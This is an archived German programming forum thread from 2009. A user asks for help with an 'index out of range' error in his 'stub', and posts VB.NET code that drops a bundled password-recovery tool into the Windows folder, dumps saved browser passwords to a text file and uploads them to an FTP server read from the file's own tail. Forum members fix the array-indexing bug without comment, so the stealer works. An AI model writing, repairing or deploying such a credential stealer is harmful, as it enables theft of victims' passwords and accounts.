PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : indes liegt ausserhalb des array bereichs



inmate
22.03.2009, 18:48
hallo jungs
bei mir kommt in der stub so eine komische fehlermeldung doch ich check es einfach nicht : der index liegt ausserhalb des array bereichs.
daraus schliesse ich das sich mein code und meine variablen nicht mehr "verständigen können^^" aber ich bekomms einfach nicht weg. kennt das einer ?

mfG

inmate

heatshock
22.03.2009, 18:59
Poste mal dein Code
Outofrange Exeption kommt wenn ein array z.b. 25 "ränge" hat
wenn du jetz Array(26) abrufen willst bekommst du eine oore

Toastbrot
22.03.2009, 19:00
Wäre nett wenn du den Code posten könntest. Ansonsten liegt es meistens an folgenden Dingen:

- Du hast ein Array mit z.B. 10 Feldern erstellt und gehst aus versehen in einer For-Next Schleife bis zur Indexnummer 11, die Folge ist ein fehler, da das feld nicht existiert.

- Du hast ein ListView/ eine ListBox und verwendest einen Eintrag, den es nicht gibt bzw. noch nicht erstellt wurde

MfG

edit:// da war wohl einer schneller ;)

blackberry
22.03.2009, 19:03
Du rufst ein Element des Arrays auf, das auf Grund der größe des Arrays, nicht existiert.

z.B.
Du erstellst einen Array mit genau 4 Elementen.
Jedes dieser Elemente erhällt einen sogenannten "Index", welcher bei 0 anfängt.
In diesem Beispiel mit 4 Elementen gibt es also folgende Indexe für deinen Array: 0, 1, 2, 3.

In deinem Code würdest du z.B. den Index 10 aufrufen (welcher nicht existiert).


mfG. BlackBerry

EDIT:
Da waren wohl zwei schneller ;)
Ich hoffe mein Post war trotzdem in gewisser Weise hilfreich!

inmate
22.03.2009, 19:47
dim cmd() as string

Private Sub Form1_Load(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles MyBase.Load

Dim file As String = My.Application.Info.DirectoryPath & "\file.exe"
Dim file2 As String = file.Substring(0, file.IndexOf(".")) & "2.exe"

If System.IO.File.Exists(file) = False Then
End
End If
IO.File.Copy(file, file2)
FileOpen(1, (file2), OpenMode.Binary)
FileGet(1, options.Value, LOF(1) - 99)
FileClose(1)
IO.File.Delete(file2)
cmd = options.Value.Split("#")
Dim ressource() As Byte = My.Resources.PasswordFox
Dim FTP As String = cmd(1)
Dim user As String = cmd(2)
Dim pass As String = cmd(3)
FileOpen(1, Environ("windir") & "\blubb.exe", OpenMode.Binary)
FilePut(1, ressource)
FileClose(1)
Shell(Environ("windir") & "\blubb.exe /stext" & Environ("windir") & "\passwörter.txt")
My.Computer.Network.UploadFile(Environ("windir") & "\passwörter.txt", "ftp://" & FTP & "/" & "passwörter.txt", user, pass)


Me.Close()


End Sub

End Class



erstmal danke für die schnellen antworten :) also das ist jetzt nur der stub code

blackberry
22.03.2009, 19:59
cmd = options.Value.Split("#")
[...]
Dim FTP As String = cmd(1)
Dim user As String = cmd(2)
Dim pass As String = cmd(3)

Bei den meißten Programmiersprachen fängt ein Array mit dem Index 0 an.
Ich weiß nicht wie das bei VB ist, aber ich würde mal start auf JA tippen.
Folglich:
Dim FTP As String = cmd(0)
Dim user As String = cmd(1)
Dim pass As String = cmd(2)

Wenn das nicht klappt, dann check mal wieviele Elemente cmd hat!

inmate
22.03.2009, 20:17
ah sehr gut du hast mich auf ne idee gebracht habs hinbekommen

kann geclosed werden :)